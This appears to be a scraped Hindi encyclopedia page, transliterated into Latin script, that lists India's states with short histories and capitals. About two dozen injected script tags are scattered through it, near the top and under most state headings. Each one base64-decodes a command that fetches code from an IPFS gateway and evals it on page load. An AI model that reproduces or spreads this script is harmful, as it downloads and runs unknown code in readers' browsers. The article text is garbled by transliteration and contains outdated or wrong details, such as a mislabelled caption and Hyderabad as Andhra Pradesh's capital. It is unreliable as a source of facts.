राज्य संरचना

bharat vishay soochi

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dekhean:bharat ek jhalak

telangana aandhr pradesh arunachal pradesh asam bihar chhattisagadh rashtriy rajadhani kshetr dilli gova gujarat hariyana himachal pradesh jammoo aur kashmir jharakhand karnatak keral madhy pradesh maharashtr manipur meghalay mizoram nagalaiand u disa panjab rajasthan sikkim tamilanadu tripura uttarakhand uttar pradesh pashchim bangal aandaman evan nikobar dvipasamooh chanh‍digadh dadara tatha nagar haveli daman aur div lakshadvip puducheri

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ki rajy sanrachana bharat ke sanghiy prashasanik dhaanche ki ek up-rashtriy prashasanik ikaee haian. bharat ke rajyoan ki apani chuni huee sarakarean hoti haian, jinaka chunav us rajy ke matadataoan dvara prati paanch varsh ki avadhi par kiya jata hai. pratyek rajy ki apani vidhanasabha bhi hoti haian, jo rajy star par bharat ki sansad ke saman hi haian, jahaan se rajy sarakar, rajy mean shasan chalati hai. varsh 2020 ki sthiti tak bharat mean 28 rajy aur 9 kendrashasit pradesh haian, jo nimnalikhit haian-

arunachal pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah bharat ganarajy ka ek uttar poorvi rajy hai. 'arunachal' ka hindi mean shabdik arth hai 'ugate soory ki bhoomi' (arun+achal). arunachal pradesh bharat ka abhinn rajy hai kintu chin rajy ke ek bhag par apana adhikar dakshini tibbat ke roop mean jatata hai.. pradesh ki mukhy bhasha hindi aur asamiya hai. aangrezi bhi dhire dhire lokapriy ho rahi hai.

• eetanagar rajy ki rajadhani hai.

asam

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

asam ya asam bharat ka uttar poorvi rajy hai. asam any uttar poorvi bharatiy rajyoan se ghira hua hai. asam bharat ka ek sarahadi rajy hai. bharat-bhootan aur bharat-baangladesh sarahad kuchh hissoan mean asam se ju di hai. yahaan par kapili nadi aur brahmaputr nadi bhi bahati hai.

• asam ki rajadhani disapur hai.

uttar pradesh

thumb|uttar pradesh ka manachitr|150px

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh bharat ka janasankhya ke adhar par sabase b da rajy hai. uttar pradesh ke doosare mahattvapoorn nagar- agara, aligadh, ayodhya, bareli, merath, varanasi (banaras), gaziyabad, muradabad, saharanapur, faizabad, kanapur haian. uttar pradesh ki poorvottar disha mean nepal desh hai. uttar pradesh mean anek prakar ki nadiyaan hai jinamean ganga, ghaghara, gomati, yamuna, chambal, son adi mukhy hai. pradesh ke vibhinn bhagoan mean pravahit hone vali in nadiyoan ke udagam sthan bhi bhinn-bhinn hai, atah inake udagam sthaloan ke adhar par inhean nimnalikhit bhagoan mean vibhajit kiya ja sakata hai.

• lakhanoo pradesh ki prashasanik rajadhani aur ilahabad nyayik rajadhani hai.

uttarakhand

thumb|150px|uttarakhand ka manachitr

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttarakhand ya uttarakhand bharat ke uttar mean sthit ek rajy hai. 2000 aur 2006 ke bich yah uttaraanchal ke nam se jana jata tha, 9 navanbar, 2000 ko uttarakhand bharat ganarajy ke 27 vean rajy ke roop mean astitv mean aya. rajy ka nirman kee varsh ke andolan ke pashchath hua. is prant mean vaidik sanskriti ke kuchh sabase mahattvapoorn tirthasthan haian. uttar pradesh se alag kiye gaye ne praant uttaraanchal 8 navambar 2000 ko astitv mean aya.

• uttarakhand ki rajadhani deharadoon hai.

karnatak

[[chitr:Karnataka-High-Court.jpg|thumb|uchch nyayalay, karnatak|120px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dakshin bharat mean sthit karnatak bharat ke b de rajyoan mean se ek hai. is rajy mean anek injiniyariang (abhiyaantriki) aur medikal (ayurvijnan) k aaulej haian. karnatak ke uttar mean maharashtr, dakshin mean keral, dakshin-poorv mean tamilanadu tatha poorv mean aandhr pradesh rajy haian. isake pashchim mean arab sagar hai. kann d yahaan ki mukhy bhasha hai. tuळu aur koankani bhasha bhi boli jati haian. karnatak rajy ka lagabhag 2,000 varsh ka likhit itihas upalabdh hai. ek rajy - kee duniyaan ke roop mean jana jane vala karnatak rajy dakshin bharat ka pramukh paryatan keandr banata ja raha hai.

• karnatak ki rajadhani aur sabase b da shahar beangळooroo hai.

keral

[[chitr:Legislative-Assembly-Of-Kerala.jpg|thumb| keral ki vidhan sabha|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

keral bharatiy upamahadvip ke dakshin-pashchimi sire par sthit hai. sh‍vatantr bharat mean jab chhoti chhoti riyasatoan ka vilay hua tab travanakore tatha kochin riyasatoan ko milakar 1 julaee, 1949 ko 'travanakor kochin' rajh‍y bana diya gaya, lekin malabar madras praant ke adhin hi raha. rajh‍y punargathan adhiniyam, 1956 ke aantargat 'travanakor-kochin rajh‍y tatha malabar' ko milakar 1 navanbar, 1956 ko 'keral rajh‍y' ka nirman kiya gaya. hinduoan aur musalamanoan ke atirikt yahaan eesaee bhi b di sankhya mean rahate haian. is rajy ka kshetraphal 38863 hazar varg kilomitar hai.

• keral ki rajadhani tiruvanantapuram hai.
  

gova

[[chitr:Vagator-Beach-Goa-2.jpg|thumb|vagator bich, gova|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gova kshetraphal mean bharat ka sabase chhota aur janasankhya ke hisab se doosara sabase chhota rajy hai. poori duniya mean gova apane khoobasoorat samuandr ke kinaroan aur mashahoor sthapaty kala ke liye jana jata hai. gova pahale purtagal ka ek upanivesh tha. purtagaliyoan ne gova par lagabhag 450 sal tak shasan kiya aur disanbar 1961 mean yah bharatiy prashasan ko sauanpa diya gaya. mahabharat mean gova ka ullekh 'goparashtr' arthat 'gay charane valoan ka desh' ke roop mean milata hai. dakshin koankan ka ullekh gova rashtr ke roop mean milata hai. sanskrit ke kuchh prachin srotoan mean gova ko 'gopakapuri' aur 'gopakapattan' kaha gaya hai jinaka ullekh any granthoan ke alava 'harivanshamh' aur skand puran mean prapt hota hai.

• gova ki rajadhani panaji hai.

u disa

thumb|u disa ka manachitr|150px

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

u disa bharat ke poorvi tat par basa rajy hai. u disa uttar mean jharakhand, uttar poorv mean pashchim bangal dakshin mean aandhr pradesh aur pashchim mean chhattisagadh se ghira hai tatha poorv mean bangal ki kha di hai. bhaugolik lihaz se isake uttar mean chhota nagapur ka pathar hai jo apekshakat kam upajaoo hai lekin dakshin mean mahanadi, brahmani, kaliandi aur vaitarani nadiyoan ka upajaoo maidan hai. yah poora kshetr mukhy roop se chaval utpadak kshetr haih. u disa rajy prachin samay mean 'kaliang' ke nam se vikhyat tha. rajy ki arthavyavastha mean krishi ki mahattvapoorn bhoomika hai. rajy ke arthik vikas mean paryatan ke mahattv ko samajhate hue midiya prabandhan ejeansiyoan aur parv prabandhakoan ko prachar evan prasar ka kary diya gaya hai.

• u disa ki rajadhani bhuvaneshvar hai.

aandhr pradesh

thumb|aandhr pradesh ka manachitr|150px

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ke dakshin-poorvi tat par yah rajy hai. kshetraphal ke anusar bharat ka yah chautha sabase b da aur janasankhya ki drishti se paanchava sabase b da rajy hai. bharat ke sabhi rajyoan mean sabase lanba samudr tat gujarat mean 1600 ki.mi. hai aur doosare sthan par is rajy ka samudr tat 972 ki.mi. hai. aandhr pradesh ke vishay mean praranbhik vivaran aitarey brahman (lagabhag2000 eesa poorv) mean milata hai. svatantrata ke pashchath telugu bhashi kshetr ko madras praant se alag karake 1 aktoobar 1953 ko ne pradesh ka nirman kiya gaya jisaka nam aandhr pradesh rakha gaya. rajy punargathan adhiniyam, 1956 banane ke bad haidarabad rajy ko aandhr pradesh mean mila kar 1 navanbar, 1956 mean 'aandhr pradesh' rajy ka nirman hua.

• aandhr pradesh ki rajadhani aur sabase b da shahar haidarabad hai.

gujarat

thumb|150px|gujarat sarakar ka pratik chihn

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gujarat pashchimi bharat ka ek prant hai. isaki uttari-pashchimi sima pakistan se lagi hai. rajasthan aur madhy pradesh isake uttar evan uttar-poorv mean sthit haian. maharashtr isake poorv mean hai. arab sagar isaki pashchimi-dakshini sima banata hai. isaki dakshini sima par dadara evan nagar-haveli haian. gujarat ka kshetraphal 1,96,077 kilomitar hai. gujarat kapas, tanbakoo aur mooangaphali ka utpadan karane vala desh ka pramukh rajy hai. rajy ke audyogik dhaanche mean dhire-dhire vividhata ati ja rahi hai. yahaan rasayan,petro-rasayan, urvarak, ianjiniyariang, ilektr aauniks adi udyogoan ka vikas raha hai.

• gujarat praant ki rajadhani gaandhinagar hai.

chhattisagadh

thumb|chhattisagadh sarakar ka pratik chihn|150px

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chhattisagadh bharat ka 26vaan rajy hai. chhattisagadh rajy ka gathan 1 navanbar, 2000 ko hua tha. bharat mean visheshat: do aise kshetr haian jinaka nam vishesh karanoan se dhire dhire badal gaya -
1. 'magadh' jo 'bauddh viharoan' ke karan 'bihar' ban gaya aur
2. 'dakshin kaushal' jo chhattis gadhoan ko apane mean samahit rakhane ke karan 'chhattisagadh' ban gaya.
ye donoan hi kshetr prachin kal se bharat ko gauravanvit karate rahe haian. 'chhattisagadh' pauranik kal se hi vibhinn sanskritiyoan ke vikas ka kendr raha hai. yahaan ke prachin mandir tatha unake bhagnavashesh batate haian ki yahaan vaishnav, shaiv, shakt, bauddh ke sath hi sath anek ary tatha anary sanskritiyoan ka samay samay par prabhav raha hai. chhattisagadh rajy ka gathan 1 navanbar, 2000 ko hua tha.

• chhattisagadh ki rajadhani rayapur hai.

jharakhand

thumb|120px|jharakhand sarakar ka pratik chihn

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jharakhand, yani jhar ya jha d jo sthaniy roop mean van ka paryay hai aur khand yani tuk de se milakar bana hai. apane nam ke anurup yah moolat: ek vanapradesh hai jo jharakhand aandolan ke phalasvaroop (jise bad mean kuchh logoan dvara vanaanchal aandolan ke nam se jana jata hai) srijit hua. prachur matra mean khanij ki upalabadhta ke karan ise bharat ka 'roor' bhi kaha jata hai jo jarmani mean khanij-pradesh ke nam se vikhyat hai. varsh 2000 mean kendr sarakar ne 15 navanbar (adivasi nayak birasa muanda ke janmadin) ko bharat ka aththaisavaan rajy bana diya. jharakhand bharat ke navinatam prantoan mean se ek hai. bihar ke dakshini hisse ko vibhajit kar jharakhand pradesh ka srijan kiya gaya tha.

• audyogik nagari raanchi isaki rajadhani hai.

tamilanadu

thumb|120px|jharakhand sarakar ka pratik chihn

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah bharat ka sabase dakshini rajy hai. tamilanadu shabd tamil bhasha ke tamil tatha nadu (நாடு) jisaka shabdik arth ghar ya vas, sthan, se milakar bana hai jisaka arth hai tamiloan ka ghar ya tamiloan ka desh hai. british shasanakal mean yah praant madras presideansi ka hissa tha . svatantrata ke bad madras presideansi ko kee bhagoan mean baant diya gaya, jisake phalasvaroop madras tatha any rajyoan ka uday hua. 1968 mean madras praant ka nam badalakar tamilanadu kar diya gaya.

• tamilanadu ki rajadhani chennee hai.

tripura

[[chitr:Agartala-Palace-Tripura.jpg|thumb|150px|agaratala pailes, tripura]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tripura bharat ka ek rajy hai. tripura rajh‍y mukhh‍yat: paha di ilaka hai. isaka bhaugolik kshetr 10,49,169 hekh‍teyar hai. anuman hai ki 2,80,000 hekh‍teyar bhoomi krishi yogh‍y hai. ek mat ke anusar sthaniy devi tripur sundari ke nam par isaka nam tripura p da. bangali aur tripuri bhasha (kok borok) yahaan ki mukhy bhashaye hai. tripura rajh‍y mukhh‍yat: paha di ilaka hai. isaka bhaugolik kshetr 10,49,169 hekh‍teyar hai. anuman hai ki 2,80,000 hekh‍teyar bhoomi krishi yogh‍y hai.

• tripura ki rajadhani agaratala hai.

nagalaind

[[chitr:Kohima-Nagaland.jpg|thumb|kohima ka ek drishy, nagalaind|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nagalaiand 1 disanbar, 1963 ko bharatiy sangh ka 16 vaan rajh‍y bana. is rajh‍y ke poorv mean myaanmar, uth‍tar mean arunachal pradesh, pashchim mean asam aur dakshin mean manipur se ghira hua hai. nagalaiand rajh‍y ka kshetraphal 16,579 varg ki.mi. hai. 2001 ka janaganana ke anusar is rajy ki abadi 19,88,636 hai. 'naga' log bharatiy-mangol varg ke logoan mean se hai, jo bharat ki uttar-poorvi pahadiyoan ke kshetr aur pashchimi mh‍yaanmar ke oopari bhag mean nivas karate haian.

• nagalaind ki rajadhani kohima hai aur ise 'poorab ka svijaralaiand' bhi kaha jata hai.

pashchim bangal

[[chitr:Howrah-Bridge-Kolkata-2.jpg|thumb|hav da brij, kolakata|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pashchim bangal ki sthapana 1 mee, 1960 ko huee. bharat ke pragaitihasik kal ke itihas mean bangal ka vishishh‍t sh‍than hai. sikandar ke akraman ke samay bangal mean 'gangaridayi' namak samrajh‍y tha. kriket tatha phutab aaul yahaan ke lokapriyatam kheloan mean se haian. nrity, sangit tatha chalachitroan ki yahaan lambi tatha suvyavasthit parampara rahi hai. bharat ke pragaitihasik kal ke itihas mean bangal ka vishishh‍t sh‍than hai. sikandar ke akraman ke samay bangal mean 'gangaridayi' namak samrajh‍y tha. paryatak sthaloan mean hav da brij paryatakoan ko akarshit karata hai. hav da brij ke atirikt paryatak yahaan par hav da steshan, mahanh baragad ka pe d, beloor math, garachoomuk, panitaras-samtaber aur vidyasagar setu adi dekh sakate haian, jo bahut khoobasoorat haian.

• pashchim bangal ki rajadhani kolakata hai.

panjab

[[chitr:Punjab-Map-1.jpg|thumb|panjab ka manachitr|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ke uttar pashchim mean panjab rajy hai, jisaki simayean pashchim mean pakistan, uttar mean jammoo aur kashmir rajy, uttar poorv mean himachal pradesh aur dakshin mean hariyana aur rajasthan rajy haian. 'panjab' shabd pharasi ke 'panj' jisaka arth hota hai 'paanch' aur 'ab' jisaka arth hota hai 'pani' ke mel se bana hai jisaka shabdik arth 'paanch nadiyoan ka kshetr' hai. prachin samay mean panjab bharat aur eeran ka kshetr tha. yahaan maury, baiktriyan, yoonani, shak, kushan, gupt adi anek shaktiyoan ka utthan aur patan hua.

• panjab ki rajadhani chandigadh hai.

bihar

[[chitr:Vaishali-Bihar.jpg|thumb|vaishali, bihar|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bihar bharat ke pramukh rajh‍yoan mean se ek hai. isake uttar mean nepal, poorv mean pashchim bangal, pashchim mean uttar pradesh tatha dakshin mean jharakhand rajh‍y haian. yahaan anek nadiyaan bahati haian jinamean ganga pramukh hai. bihar ganga tatha usaki sahayak nadiyoan ke maidan mean basa hai. jharakhand ke alag hone ke bad bihar ki bhoomi mukhyatah nadiyoan ke maidan aur samatal bhoobhag hai. rajh‍y ke pramukh paryatan keandr haian- rajagir, nalanda, vaishali, pavapuri jahaan bhagavan mahavir ne aantim saans li aur nirvan ko praph‍t hue, bodhagaya, vikramashila uchh‍ch shiksha ke bauddh vishh‍vavidyalay ke avashesh, patana pataliputr ka prachin nagar aur sasaram sherashah soori ka maqabara aur madhubani.

• bihar ki rajadhani patana hai.

manipur

[[chitr:View-Of-Manipur.jpg|thumb|manipur ka ek drishy|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

manipur bharat ka ek poorvi rajy hai. manipur rajy ke uttar aur dakshin mean mizoram, pashchim mean asam, aur poorv mean antarrashtriy sima se myaanmar laga hua hai. manipur ka kshetraphal 22,347 varg ki.mi hai. meiti janajati, jo ghati kshetr mean hi rahate haian, ve hi yahaan ke mool nivasi haian. inaki bhasha meitilon hai. isi bhasha ko manipuri bhasha kahate haian. mani ka shabdik arth ‘abhooshan’ hai. at: manipur ka arth 'abhooshan ki bhoomi' hai. manipur mean prakritik sansadhanoan ka prachur bhandar hai. yahaan ki prakritik chhata dekhane yogy hai.

• manipur rajy ki rajadhani imphal hai.

madhy pradesh

[[chitr:Madhya-Pradesh-Map-1.jpg|thumb|150px|madhy pradesh ka manachitr]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhh‍y pradesh doosara sabase b da bharatiy rajh‍y hai. bhaugolik drishti se yah desh mean kenh‍driy sh‍than rakhata hai. madhy ka arth bich mean hai, madhy pradesh ki bhaugolik sthiti bharatavarsh ke madhy arthat bich mean hone ke karan is pradesh ka nam madhy pradesh diya gaya, jo kabhi 'madhy bharat' ke nam se jana jata tha. madhy pradesh hriday ki tarah desh ke thik bichoanbich mean sthit hai. yah bharat ka sabase vishal rajy hai, jo desh ke kul kshetraphal ka lagabhag 10 pratishat, 3,08,000 varg kilomitar se bhi adhik mean phaila hua hai.

• madhy pradesh ki rajadhani bhopal hai .

maharashtr

[[chitr:Maharashtra-Map-1.jpg|thumb|150px|maharashtr ka manachitr]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maharashtr bharat ke dakshin madhy mean sthit hai. isaki ginati bharat ke sabase dhani rajyoan mean ki jati hai. yahaan ke muanbee ke alava pune shahar bhi bharat ke bade mahanagaro mean gina jata hai. yahaan ka pune shahar bharat ka chhathavaan sabase b da shahar hai. maharashtr ki janasankhya sanh 2001 mean 96,752,247 thi, vishv mean sirf gyarah aise desh haian jinaki janasankhya maharashtr se zyada hai. is rajy ka nirman 1 mee, 1960 ko marathi bhashi logoan ki maang par ki gayi thi. marathi zyada boli jati hai. pune aur nagapur maharashtr ke any mukhy shahar haian.

• maharashtr ki rajadhani muanbee hai jo bharat ka sabase b da shahar aur desh ki arthik rajadhani ke roop mean bhi jani jati hai.

mizoram

[[chitr:Mizoram-Map.gif|thumb|100px|mizoram ka manachitr]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ganarajy mean mizoram ek parvatiy pradesh hai. faravari, 1987 ko yah bharat ka 23vaan rajh‍y bana. 1972 mean keandrashasit pradesh banane se pahale tak yah asam ka ek zila tha. 2001 mean mizoram ki janasankhya lagabhag 8,90,000 thi. mizoram pradesh ke lagabhag 80 pratishat log krishi karyoan mean lage hue haian. krishi ki mukhh‍y pranali jhoom ya sh‍thanaantarit krishi hai. anumanat: 21 lakh hekh‍teyar bhoomi mean se 6.30 lakh hekh‍teyar bhoomi bagavani ke lie upalabh‍dh hai.

• mizoram ki rajadhani aeejol hai.

meghalay

[[chitr:Meghalya-Seal.jpg|thumb|150px|meghalay sarakar ka pratik chihn]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meghalay bharat ke uttar poorv mean ek rajy hai. meghalay ka nirman asam ke aantargat 2 aprail, 1970 ko ek sh‍vatantr rajh‍y ke roop mean kiya gaya. poorn rajh‍y meghalay 21 janavari, 1972 ko bana. isaki uttari aur poorvi simaean asam se aur dakshini tatha pashchimi simaean baangladesh se milati haian. meghalay ka shabdik arth hai meghoan ka alay arthat badaloan ka ghar. meghalay moolat: ek paha di rajh‍y hai. meghalay pradhanat: kri‍shi pradhan rajh‍y hai. yahaan ki lagabhag 80 pratishat janasankhh‍ya mukhh‍y roop se kheti par hi nirbhar hai. yahaan ki mitti aur jalavayu bagavani ke anukool hai.

• meghalay ki rajadhani shilaang hai.

rajasthan

[[chitr:Map-Rajasthan-1.jpg|thumb|150px|rajasthan ka manachitr]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rajasthan bharat ganarajy ke kshetraphal ke adhar par sabase b da rajy hai. isake pashchim mean pakistan, dakshin-pashchim mean gujarat, dakshin-poorv mean madhyapradesh, uttar mean panjab, uttar-poorv mean uttar pradesh aur hariyana hai. rajy ka kshetraphal 3,42,239 varg ki.mi. (1,32,139 varg mil) hai. bhaugolik visheshataoan mean pashchim mean thar maroosthal aur ghaggar nadi ka aantim chhor hai. vishv ki puratan shreniyoan mean pramukh aravali shreni rajasthan ki ekamatr paha di hai, jo ki paryatan ka kendr hai, mauant aboo aur vishvavikhyat dilava da mandir ko sammilit karati hai.

• rajasthan ki rajadhani jayapur hai.

hariyana

[[chitr:Map-Haryana.gif|thumb|150px|hariyana ka manachitr]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is rajy ki sima ke uttar mean panjab aur himachal pradesh, pashchim tatha dakshin sima par rajasthan aur poorv mean uttarakhand, uttar pradesh hai. bharat ki rajadhani dilli ke tin taraph hariyana ki simayean lagi huee haian jisake karan rashtriy rajadhani kshetr dilli ka ek b da hissa hariyana mean mila hai. hariyana ka shabdarth hai 'parameshvar ka nivas', hari (vishnu) aur ayan (ghar) se milakar hariyana shabd bana hai. hariyana sampoorn bharat ke vikas ka agradoot mana jata hai.

• hariyana pradesh ki rajadhani chandigadh hai, jo keandr shasit pradesh hone ke sath panjab rajy ki bhi rajadhani hai.

sikkim

[[chitr:Sikkim-Map-1.jpg|thumb|120px|sikkim ka manachitr]]

